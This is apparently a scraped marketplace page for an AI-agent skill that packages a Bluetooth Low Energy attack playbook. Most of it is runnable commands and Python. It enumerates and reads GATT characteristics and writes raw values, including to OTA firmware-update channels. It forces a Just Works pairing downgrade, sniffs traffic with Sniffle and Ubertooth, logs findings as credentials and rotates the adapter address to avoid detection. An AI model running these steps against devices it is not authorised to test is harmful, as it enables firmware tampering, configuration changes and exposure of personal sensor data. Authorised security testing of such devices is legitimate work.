GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
69
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.
bluez (>=5.62), gatttool, bluetoothctl, hcitool,
python3 -m pip install bleak (cross-platform async BLE library).# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt
# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"Using bleak for a structured scan:
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}")
asyncio.run(scan())# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
> connect
> primary # list services by UUID
> characteristics # list handles, properties, UUIDs
> char-desc # dump all descriptors
# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristicsBleak full dump (preferred — handles BLE 5 extended):
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
async def dump_gatt():
async with BleakClient(TARGET) as client:
for svc in client.services:
print(f"\nService: {svc.uuid} ({svc.description})")
for char in svc.characteristics:
print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char.uuid)
print(f" Value: {val.hex()} ({val!r})")
except Exception as e:
print(f" Read error: {e}")
asyncio.run(dump_gatt())# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100
# Write to a writable characteristic by UUID (bleak):async def write_char(client, uuid, payload: bytes):
# Try write-with-response first; fall back to write-without-response.
props = client.services.get_characteristic(uuid).properties
if "write" in props:
await client.write_gatt_char(uuid, payload, response=True)
elif "write-without-response" in props:
await client.write_gatt_char(uuid, payload, response=False)
print(f"Wrote {payload.hex()} to {uuid}")Common attack targets by characteristic UUID:
| UUID (16-bit) | Description | Attack |
|---|---|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |
Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.
# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
agent NoInputNoOutput
default-agent
scan on
pair <TARGET_MAC> # pairing will complete with no key confirmation
trust <TARGET_MAC>
connect <TARGET_MAC>After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.
# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.
sudo bettercap -eval "ble.recon on; events.stream on"
# Enumerate target:
sudo bettercap -eval "ble.enum <TARGET_MAC>"
# Write via bettercap:
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"# Flash Sniffle firmware to a TI CC26x2R LaunchPad.
# https://github.com/nccgroup/Sniffle
# Follow a specific device (37/38/39 advertisement channels, then data channel).
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap
# Open in Wireshark (BLE dissector built-in):
wireshark /tmp/ble_capture.pcapUbertooth One — broadband BLE capture (less channel-following accuracy):
ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap # follow on adv channel 37
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap # follow by addressSave all GATT dumps and captures:
EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
# Dump GATT to JSON:
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"Knowledge graph node for a found credential/key:
kg_add_node(
kind="credential",
label=f"BLE GATT unauthenticated access {target_mac}",
props={
"key": f"ble-gatt::{target_mac}",
"secret_type": "ble_characteristic",
"mac": target_mac,
"characteristic_uuid": char_uuid,
"raw_value": value_hex,
"pairing_method": "just_works_or_none",
"source": "bleak+gatttool",
},
)bdaddr (hciconfig bdaddr spoof) or the adapter's random-address mode
(hciconfig hci0 leadv 3) to rotate your BD_ADDR between attempts.e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.